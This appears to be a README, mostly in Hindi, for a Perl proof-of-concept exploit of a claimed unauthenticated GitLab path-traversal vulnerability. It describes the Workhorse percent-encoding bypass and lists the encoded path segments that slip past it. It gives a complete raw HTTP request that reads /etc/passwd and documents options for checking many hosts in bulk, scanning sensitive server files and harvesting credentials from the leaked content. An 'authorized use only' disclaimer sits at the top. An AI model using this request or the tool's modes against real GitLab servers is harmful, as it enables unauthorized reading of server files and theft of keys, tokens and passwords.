
Perl PoC जो CVE-2026-85706 का शोषण करता है, यह एक अनधिकृत GitLab पाथ ट्रैवर्सल है जो मनमानी फ़ाइल पढ़ने, बल्क स्कैनिंग और क्रेडेंशियल हार्वेस्टिंग को सक्षम बनाता है।
केवल अधिकृत पेनेट्रेशन परीक्षण और Red Team संचालन के लिए।
अनधिकृत उपयोग एक आपराधिक अपराध है। देखें कानूनी सूचना।
CVE-2026-85706 GitLab Community और Enterprise Editions में एक CVSS 10.0 पाथ ट्रैवर्सल भेद्यता है जो एक पूर्णतः अनधिकृत हमलावर को एकल HTTP अनुरोध के साथ सर्वर फ़ाइलसिस्टम से मनमानी फ़ाइलें पढ़ने की अनुमति देती है। कोई क्रेडेंशियल नहीं, कोई टोकन नहीं, कोई उपयोगकर्ता इंटरैक्शन आवश्यक नहीं।
| शाखा | भेद्य सीमा | में ठीक किया गया |
|---|---|---|
| 18.x | 18.7 → 19.1.7 | 19.1.8 |
| 19.2 | 19.2.0 → 19.2.5 | 19.2.6 |
| 19.3 | 19.3.0 → 19.3.1 | 19.3.2 |
GitLab के HTTP स्टैक में तीन परतें हैं:
Internet → [Nginx] → [Workhorse (Go)] → [Puma (Ruby/Rack)] → [Rails/Grape API]
Workhorse एक स्मार्ट रिवर्स प्रॉक्सी के रूप में कार्य करता है: कुछ "अपलोड" एंडपॉइंट्स (रिपॉज़िटरी कमिट्स, फ़ाइल ऑपरेशन्स) के लिए, यह मल्टीपार्ट रिक्वेस्ट बॉडीज़ को पढ़ता है, फ़ाइल डेटा को डिस्क पर सहेजता है, और रिक्वेस्ट को Puma तक फ़ॉरवर्ड करने से पहले उसे रीराइट करता है। सबसे महत्वपूर्ण बात यह है कि यह हर उस रिक्वेस्ट के साथ एक JWT हेडर (Gitlab-Workhorse-Api-Request) संलग्न करता है जिसे वह प्रॉक्सी करता है। इसके बाद Rails किसी भी हैंडलर लॉजिक को निष्पादित करने से पहले इस JWT को सत्यापित करता है (require_gitlab_workhorse! के माध्यम से)।
स्तर 1 — Workhorse रूट मिलान:
Workhorse एक कंपाइल्ड रेगेक्स का उपयोग करके रिक्वेस्ट पाथ्स का मिलान करता है जो कच्चे, प्रतिशत-एन्कोडेड बाइट स्ट्रिंग पर काम करता है। यह मिलान करने से पहले %XX अनुक्रमों को डिकोड नहीं करता।
स्तर 2 — Puma/Rack राउटिंग:
Puma, Grape द्वारा रिक्वेस्ट को रूट करने से पहले %XX अनुक्रमों को डिकोड करता है। इसलिए /repository/%63ommits के लिए एक रिक्वेस्ट /repository/commits में डिकोड हो जाती है और CommitsController को रूट की जाती है।
स्तर 3 — प्री-ऑथ फ़ाइल रीड:
एक बार Rails हैंडलर में पहुँचने पर (जहाँ तक पहुँचा जाता है Workhorse के JWT के बिना क्योंकि Workhorse ने कभी उस रिक्वेस्ट का मिलान नहीं किया), हैंडलर क्वेरी स्ट्रिंग से params[:file][:path] पढ़ता है और कॉल करता है:
File.open(params[:file][:path]) # ← happens BEFORE authentication
एक स्टैटिक पाथ सेगमेंट में एक अक्षर को प्रतिशत-एन्कोड करके, हमलावर का अनुरोध बिना पकड़े Workhorse से निकल जाता है:
| सेगमेंट | मूल | बायपास रूप | एन्कोडेड अक्षर |
|---|---|---|---|
commits | commits | %63ommits | c → %63 |
commits | commits | %43ommits | C → %43 |
repository | repository | %72epository | r → %72 |
files | files | %66iles | f → %66 |
| (कोई भी) | commits | commits/ | अनुगामी स्लैश |
| (कोई भी) | commits | commits.json | Grape प्रत्यय |
फ़ाइल खोलने के बाद, सामग्री को Rack के क्वेरी-स्ट्रिंग पार्सर के माध्यम से निष्कासित किया जाता है:
Rack::Utils.parse_nested_query(File.read(path))
यदि फ़ाइल में % है जिसके बाद दो वैध हेक्स अंक नहीं हैं (जो Ruby कॉन्फ़िग फ़ाइलों, CI YAML, लॉग आदि में आम है), तो Rack त्रुटि उठाता है:
InvalidParameterError: Invalid parameter: invalid %-encoding (<FILE_BYTES>)
यह 400-प्रतिक्रिया बॉडी कच्ची फ़ाइल सामग्री को अपमानजनक बाइट तक और उस सहित शामिल करती है — जो फ़ाइल की सामग्री को अप्रमाणित कॉलर के सामने उजागर करती है।
जिन फ़ाइलों में शोषणयोग्य % अनुक्रम नहीं हैं (जैसे, साफ़ /etc/passwd), वे पढ़ने के बाद 401 या पैरामीटर-सत्यापन त्रुटि लौटाती हैं: यह एक फ़ाइल-अस्तित्व ओरेकल के रूप में कार्य करता है (पढ़ना अभी भी प्रमाणीकरण-पूर्व हुआ)।
POST /api/v4/projects/1/repository/%63ommits?file=&file.path=%2Fetc%2Fpasswd&file.size=1&Content-Type=application%2Fx-www-form-urlencoded HTTP/1.1
Host: gitlab.corp.com
User-Agent: cve-2026-85706-perl-poc/1.0.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
| तकनीक | ID | इस PoC में कार्यान्वयन |
|---|---|---|
| File and Directory Discovery | T1083 | --scan मोड 38 संवेदनशील सर्वर पथों की जाँच करता है |
| Credentials In Files | T1552.001 | --harvest लीक हुई सामग्री से कुंजियाँ/टोकन/पासवर्ड निकालता है |
| मॉड्यूल | पैकेज | भूमिका |
|---|---|---|
LWP::UserAgent | libwww-perl | HTTP क्लाइंट (अनिवार्य) |
LWP::Protocol::https | libwww-perl | HTTPS समर्थन (अनिवार्य) |
URI::Escape | liburi-perl | क्वेरी-स्ट्रिंग एन्कोडिंग (अनिवार्य) |
Term::ANSIColor | libterm-ansicolor-perl | रंगीन आउटपुट (वैकल्पिक) |
JSON | libjson-perl | JSON आउटपुट मोड (वैकल्पिक) |
# Debian/Ubuntu
apt install libwww-perl liburi-perl libterm-ansicolor-perl libjson-perl
# RHEL/Fedora
sudo yum install perl-libwww-perl perl-URI perl-Term-ANSIColor perl-JSON
# CPAN
cpan LWP::UserAgent LWP::Protocol::https Term::ANSIColor JSON
# Make executable
chmod +x exploit.pl
Usage: exploit.pl [OPTIONS]
Target:
-u, --url <URL> GitLab base URL [default: http://localhost:8080]
-p, --project-id <ID> Numeric ID or namespace%2Fproject [default: 1]
Commits API forms: project must be anonymously accessible
Files API forms: any value works (file read precedes auth)
Exploitability check:
-c, --check Single-target check (quick by default — ≤9 requests)
--full Upgrade to full 4-stage sweep (27+ probes, all 22 forms)
-L, --check-host-list <FILE> Check multiple targets (one URL/host per line)
Add --full for the 4-stage sweep on every host
Single-file read:
-f, --file <PATH> Absolute server path to read (e.g. /etc/passwd)
Scan mode (T1083 — File and Directory Discovery):
-s, --scan Probe built-in sensitive-file wordlist (38 paths)
-w, --wordlist <FILE> Use a custom file list (one absolute path per line)
-H, --harvest Extract credentials from leaked content (T1552.001)
Output:
-o, --output <FILE> Tee all output to file
-j, --json Emit results as JSON array (requires JSON.pm)
-v, --verbose Print full request URL before each probe
--no-color Disable ANSI colour output
Connection:
-t, --timeout <N> Per-request timeout in seconds [default: 15]
-d, --delay <N> Delay between requests in seconds (float) [default: 0]
-r, --retries <N> Retry count on connection error [default: 2]
-A, --user-agent <STR> Override User-Agent string